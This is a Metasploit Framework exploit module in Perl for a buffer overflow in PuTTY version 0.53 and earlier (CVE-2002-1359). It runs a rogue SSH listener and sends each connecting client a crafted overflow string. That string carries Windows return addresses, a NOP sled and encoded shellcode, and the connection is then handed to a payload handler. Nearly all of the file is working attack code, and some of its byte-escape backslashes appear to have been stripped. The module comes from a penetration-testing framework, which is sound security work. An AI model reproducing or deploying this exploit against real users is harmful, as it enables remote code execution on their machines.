##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::putty_ssh;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use  POSIX;

my $advanced =
  {
  };

my $info =
  {
    'Name'           => 'PuTTy.exe <= v0.53 Buffer Overflow',
    'Version'        => '$Revision: 1.1 $',
    'Authors'        => [ 'y0 [at] w00t-shell.net' ],
    'Description'    =>
      Pex::Text::Freeform(qq{
        This module exploits a buffer overflow in the PuTTY SSH client that is triggered
        through a validation error in SSH.c.
}),

    'Arch'           => [ 'x86' ],
    'OS'             => [ 'win32', 'winxp', 'win2000', 'win2003' ],
    'Priv'           => 0,

    'UserOpts'       =>
      {
        'SSHDPORT'   => [ 1, 'PORT', 'The local SSHD listener port',  22         ],
        'SSHSERVER'  =>  [ 1, 'HOST', 'The local SSHD listener host', "0.0.0.0"  ],
      },

    'AutoOpts' => { 'EXITFUNC' => 'process' },

    'Payload'      =>
      {
        'Space'    => 400,
        'BadChars' => "x00",
        'Prepend'  => "x81xc4xffxefxffxffx44",
        'MaxNops'  => 0,
        'Keys'     => [ '-ws2ord', '-bind' ],
      },

    'Refs'            =>
      [
        [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
        [ 'CVE', '2002-1359' ],

      ],

    'DefaultTarget'  => 0,

    'Targets'        =>
      [
        [ 'Windows 2000 SP4 English',   0x77e14c29 ],
        [ 'Windows XP SP2 English',     0x76b43ae0 ],
        [ 'Windows 2003 SP1 English',   0x76AA679b ],
      ],

    'Keys'           => [ 'putty' ],

    'DisclosureDate' => 'December 16 2002',
  };

sub new
{
    my $class = shift;
    my $self;

    $self = $class->SUPER::new(
        {
            'Info'     => $info,
            'Advanced' => $advanced,
        },
        @_);

    return $self;
}

sub Exploit
{
    my $self = shift;
    my $server = IO::Socket::INET->new(
        LocalHost => $self->GetVar('SSHSERVER'),
        LocalPort => $self->GetVar('SSHDPORT'),
        ReuseAddr => 1,
        Listen    => 1,
        Proto     => 'tcp');
    my $client;

    # Did the listener create fail?
    if (not defined($server))
    {
        $self->PrintLine("[-] Failed to create local SSHD listener on " . $self->GetVar('SSHDPORT'));
        return;
    }

    $self->PrintLine("[*] Waiting for connections to " . $self->GetVar('SSHSERVER') . ":" . $self->GetVar('SSHDPORT') . "...");

    while (defined($client = $server->accept()))
    {
        $self->HandlePuttyClient(fd => Msf::Socket::Tcp->new_from_socket($client));
    }

    return;
}

sub HandlePuttyClient
{
    my $self = shift;
    my ($fd) = @{{@_}}{qw/fd/};
    my $target    = $self->Targets->[$self->GetVar('TARGET')];
    my $shellcode = $self->GetVar('EncodedPayload')->Payload;
    my $rhost;
    my $rport;

    # Set the remote host information
    ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

    my $sploit =
      "SSH-2.0-OpenSSH_3.6.1p2rn".
      "x00x00x4execx01x14".
      "x00x00x00x00x00x00x00x00x00x00".
      "x00x00x00x00x00x00x00x00x07xde".
      (((((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "x00x00x07xde") x 2).
      (((Pex::Text::AlphaNumText(64)). ",") x 2). Pex::Text::AlphaNumText(21).
      pack('V', $target->[1]). $self->MakeNops(10). $shellcode.
      (((Pex::Text::AlphaNumText(64)). ",") x 15). Pex::Text::AlphaNumText(64). "x00x00x07xde".
      (((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "x00x00x07xde".
      (((Pex::Text::AlphaNumText(64)). ",") x 21). Pex::Text::AlphaNumText(64). "x00x00x07xde".
      (((((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "x00x00x07xde") x 6).
      "x00x00x00x00x00x00";

    $self->PrintLine("[*] Client connected from $rhost:$rport...");

    $fd->Send($sploit);

    $self->PrintLine("[*] Sending ". length($sploit). " bytes to remote host...");

    $self->Handler($fd);

    $fd->Close();
}

1;